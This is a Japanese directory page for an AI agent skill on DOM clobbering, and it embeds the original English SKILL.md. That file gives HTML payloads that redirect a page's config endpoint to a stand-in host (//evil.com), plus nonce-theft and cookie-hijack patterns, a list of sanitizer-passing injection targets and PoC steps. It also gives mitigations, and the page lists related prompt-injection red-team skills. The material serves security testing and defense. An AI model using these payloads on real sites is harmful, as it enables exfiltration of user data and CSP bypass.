dom-clobbering
できること
このスキルは、名前付きのHTML要素がページのJavaScript変数を上書きできる仕組みを説明します。フィルターを通ったHTMLでも、ページの動作を変えられるかを確認するセキュリティテスター向けです。
使う場面
- ✓サイトが一部のフィルターを通したHTMLの追加を許可しており、名前付きの要素が含まれる可能性があるとき。
- ✓セキュリティレビューで、ページのスクリプトがHTMLで上書きされうるグローバル設定を読んでいるか確認するとき。
- ✓HTMLを通じてコンテンツセキュリティポリシーを回避できないか確認したいとき。
スキルのリンク
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/dom-clobbering/SKILL.mdコピーしてAI(Claude、ChatGPT、Cursor)に貼り付け、指示に従うよう頼んでください。
使い方
いちばん簡単な方法:メッセージをコピーしてAIに貼り付けるだけ。AIがスキルを読んで指示に従います。
貼り付け用メッセージ
Claude Code、Codex、Cursorの場合:プロジェクトのフォルダで実行するとスキルがインストールされます。
SKILL.mdをダウンロードして、エージェントのスキル用フォルダに入れてください。
AIへの頼み方の例
“コメント欄のHTMLフィルターで、利用者がページのJavaScript設定を変えられてしまうか確認してください。”
毎週5つの新しいスキル。1分で読めます。
仕組み
エージェントは、選んだ名前やidを持つ要素が、設定オブジェクトなど、ページが読む値を置き換えられるかを確認します。scriptタグは使いません。
技術的な内容(元のSKILL.md)
作者による元のテキスト(英語)をGitHubからそのまま表示しています。
DOM Clobbering
Named HTML elements (<form>, <a>, <input>, <img>) with name=
or id= are accessible as JavaScript properties of window and document.
If app code does if (window.config.endpoint) and attacker can inject
HTML (even sanitized), they can replace window.config with an HTML
element.
1. The classic
<!-- App code -->
<script>
if (window.config && window.config.endpoint) {
fetch(window.config.endpoint + '/data');
}
</script>
<!-- Attacker-injected HTML (passes most sanitizers — no script/event handlers) -->
<form id="config"><input name="endpoint" value="//evil.com"></form>
window.config resolves to the form. window.config.endpoint resolves
to the input. .endpoint is now "//evil.com". App fetches from evil.
2. Common targets
window.locationoverwrite (anchor w/id=location)- Library global config (jQuery's
$.cookie, etc) - CSP nonce/source values read from globals
document.cookie(limited but exploitable)window.onerrorclobber
3. Payload patterns
Single-element clobber
<a id="config" href="//evil.com"></a>
<!-- window.config is the anchor; window.config.toString() returns "//evil.com" -->
Multi-level clobber (a.b.c)
<form id="config"><input name="endpoint" value="//evil.com"></form>
<!-- window.config.endpoint = "//evil.com" -->
<!-- Deeper nesting via name= chaining is more limited; needs Document Proxy or specific browsers -->
CSP nonce theft
<!-- App: <script nonce="ABC123"> -->
<form name="nonce"><input name="nonce" value="ABC123"></form>
<!-- Some code reads window.nonce.value (rare but exists) -->
Cookie attribute hijack
<form name="cookie" action="//evil.com"></form>
<!-- document.cookie unchanged but some libs read window.cookie -->
4. Where to inject
DOM clobbering payloads pass MOST HTML sanitizers (DOMPurify default, sanitize-html, bleach) because they contain no script tags or event handlers. Targets:
- CMS rich-text content
- Markdown renderers (especially raw HTML-allowed)
- Comment systems
- Profile fields rendered into the page
5. Detection
// In browser console on a target page, list all "named" elements that exist:
Array.from(document.getElementsByTagName('*'))
.filter(e => e.name || e.id)
.map(e => [e.tagName, e.name || e.id]);
// Then check which of these names also exist as window properties used by app JS
// (grep app JS bundle for `window.<name>` references)
6. PoC
Find an HTML-injection sink (not strict XSS) that passes sanitizer
because no JS. Inject the form clobber. Confirm via observed network
request to //evil.com (DNS-level via interactsh).
7. Severity
| Bug | Severity |
|---|---|
| Clobber → CSP bypass enabling stored XSS | Critical 9.0 |
| Clobber of endpoint → exfil PII | High 8.0 |
| Clobber of OAuth flow config | Critical 9.0 |
| Standalone clobber w/o exploitable chain | Low-Medium |
8. Defender
- Sanitizers should strip
id=andname=from user content (DOMPurify hasALLOW_DATA_ATTR: false+FORBID_ATTR: ['id', 'name']config) - Use
Object.defineProperty(window, 'config', {value: cfg, writable: false})for security-critical globals - Use scoped namespaces instead of window globals
- CSP
script-srcw/ hashes (not just nonces) — DOM clobbering can't fake the hash
Cross-references
- Upstream:
skills/_corpus/payloads/DOM Clobbering/ - XSS overlap:
skills/exploit/web/xss.md - CSS injection (similar tactical mindset):
skills/exploit/web/css-injection/SKILL.md(when added)
Known exemplars
- Gareth Heyes / PortSwigger 2020 paper "DOM Clobbering for fun and profit"
- Bypass of Google's Closure templating system
- Multiple HackerOne reports for $5-15k on enterprise CMS clobber chains
よくある質問
スクリプトが無効でも問題になるのはなぜですか?
名前付きの要素は、スクリプトがなくてもページが読む値を変えられます。その結果、誤ったリクエストにつながることがあるとスキルは説明しています。
どのような対象が挙げられていますか?
window.location、ライブラリの設定、グローバル変数から読まれるCSPの値、Cookieの扱いなどが挙げられています。
スクリプトを完全に注入する必要がありますか?
いいえ。このスキルが扱うのは、scriptタグを使わずに動く名前付きHTML要素です。
詳細
作者による元の説明
DOM clobbering — abuse named HTML elements to overwrite JavaScript global variables, bypass CSP, hijack object property lookups.
人気
- GitHubのスター
- 6.5k
- ランキング
- #14061
- ライセンス
- Apache-2.0
- 更新日
- 2026/11/1
コメント
- …
このリポジトリの他のスキル
detector-overview
6.5kエージェントが、スキャナーが指摘したコードを読み、本物のセキュリティバグと誤検知を見分けられるよう支援します。
exploiter-overview
6.5kエージェントが、確認済みの複数のセキュリティ上の弱点を一つのテストの連鎖にまとめ、その影響がどこまで及ぶかを確認できるよう支援します。
llm-redteam-overview
6.5kエージェントが、プロンプトインジェクションからモデルの悪用まで、15の戦術グループの中から適切なAIレッドチーム用ガイドを見つけられるよう支援します。
aatmf-t01-prompt-injection
6.5kプロンプトインジェクションを説明します。隠された指示でAIシステムを乗っ取ろうとする手口を、セキュリティテスターが確認できるようにします。
似ているスキル
reverse-engineer-anything
422kREAツールを使って、出荷済みのアプリやパッケージの中身を調べ、機能の説明、版の比較、再構築の手順をエージェントが支援します。
1password
394k1Password CLIをセットアップし、サインインして、秘密情報の値を会話に表示せずに読み取ったり注入したりするようエージェントを支援します。
healthcheck
394kOpenClawを動かすコンピューターやサーバーを、SSH、ファイアウォール、更新、バックアップなどのセキュリティリスクについて監査し、安全な修正案を提案するようエージェントを支援します。